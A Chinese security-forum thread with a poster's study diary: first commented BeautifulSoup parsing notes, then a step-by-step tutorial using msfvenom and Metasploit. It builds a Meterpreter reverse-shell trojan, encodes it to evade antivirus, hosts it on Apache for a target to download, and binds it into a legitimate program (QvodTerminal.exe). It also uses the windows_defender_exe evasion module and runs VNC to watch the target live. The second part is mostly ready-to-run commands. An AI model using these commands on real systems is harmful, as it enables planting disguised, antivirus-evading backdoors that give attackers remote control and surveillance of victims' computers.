  15.                 # fp = open('./sqli-labs.html','r',encoding='utf-8')
  16.                 # soup = BeautifulSoup(fp,'lxml')
  17. #             2.将互联网上获取的页面源码加载到该对象中
  18.                 # page_text = response.text
  19.                 # soup = BeautifulSoup(page_text,'lxml')
  20.         # -提供用于数据解析的方法和属性:
  21.                 # soup.tagName返回的是文档中第一次出现的tagName 标签
  22.                 # soup.find()等同于soup.tagName,soup.find('div',class_/id/attr='song')
  23.                 # soup.find_all返回的是符合要求的所有标签,返回的是一个列表
  24.         # select :
  25.                 # -select('某种选择器(id,class,标签...))
  26.                 # -层级选择器:
  27.                         # soup.select('.层级1>层级2  层级2'):空格表示多个层级
  28.         # 获取标签之间的文本数据:
  29.                 # soup.tagName.text/string/get_text()
  30.                 # text/get_text()可以获取某一个标签中所有的文本内容
  31.                 # string只可以获取该标签下面的文本内容
  32.         # 获取标签属性值:
  33.                 # soup.a['href']

  34. from bs4 import BeautifulSoup
  35. #将本地的HTML文档中的数据加载到该对象中
  36. fp = open('./exe/text.html','r',encoding='utf-8')
  37. soup = BeautifulSoup(fp,'lxml')
  38. # print(soup)

  39. # print(soup.title)  #soup.tagName返回的是文档中第一次出现的tagName 标签
  40. # print(soup.find('title'))  #等同于soup.tagName
  41. # print(soup.select('.bd_bear_home')['href'])
复制代码



回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2021-4-4 10:59:32 | 显示全部楼层
本帖最后由 Delina 于 2021-4-4 11:00 编辑

2021/4/4学习日记:metasploit制作windows恶意软件监听靶机
一、制作后门
1.先打开命令窗口,输入ifconfig查找本机IP地址LHOST,用于反弹
​​
2.打开msf,生成木马程序:
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.254 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o/var/www/html/test.exe
复制代码

3.然后开启apache,输入命令:
  1. systemctl start apache2
复制代码
4.之后在windows直接访问https://192.168.10.254/test.exe便可下载该木马程序

可以通过访问网站www.virscan.org检查该木马的免杀率

5.在MSF上启动handler开启监听后门程序
  1. use exploit/multi/handler
复制代码
设置payload
  1. set payload windows/meterpreter/reverse_tcp
复制代码
设置终端监听地址
  1. set LHOST 192.168.10.254
复制代码
6. run,运行test.exe,终端查看建立的session

7.再输入命令可获得靶机信息,如下,获取靶机ID,程序文件目录等
​​
输入help可查看命令辅助,对靶机进行其他测试
可以输入 run vnc可进行实时监控,检测靶机上的操作

二、如何给一个正常的软件添加后门
1.先下载绿色版软件,打开包,查看主程序会调用哪些附加的小程序,然后把payload后门和这些小程序绑定到一起,其步骤和生成木马几乎一样,但是会多一个参数。
例如,对QvodTerminal.exe注入payload后门程序,添加参数:-x QvodTerminal.exe
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.254 -b "\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o/var/www/html/test.exe
复制代码
2.将含有后门的 QvodTerminal.exe下载下来并且覆盖原先的文件,运行主程序,带动后门程序启动,其他步骤同上。
三、使用metasploit的evasion模块生成后门木马
evasion是metasploit自带的生成木马的模块
1.使用evasion模块
查找
  1. search evasion
复制代码

使用第一个模块
  1. use evasion/windows/windows_defender_exe
复制代码
设置参数
  1. set FILENAME delina.exe
复制代码
设置payload
  1. set payload windows/meterpreter/reverse_tcp
复制代码
设置地址
  1. set LHOST 192.168.10.254
复制代码
2.run 生成木马监听

下载exe文件,设置监听
  1. use exploit/multi/handler
复制代码
设置payload
  1. set payload windows/meterpreter/reverse_tcp
复制代码
设置终端监听地址
  1. set LHOST 192.168.10.254
复制代码
开启监听:run
---------------------------------------------------------------end-----------------------------------------------------------------


​​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 21:51 , Processed in 0.050782 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表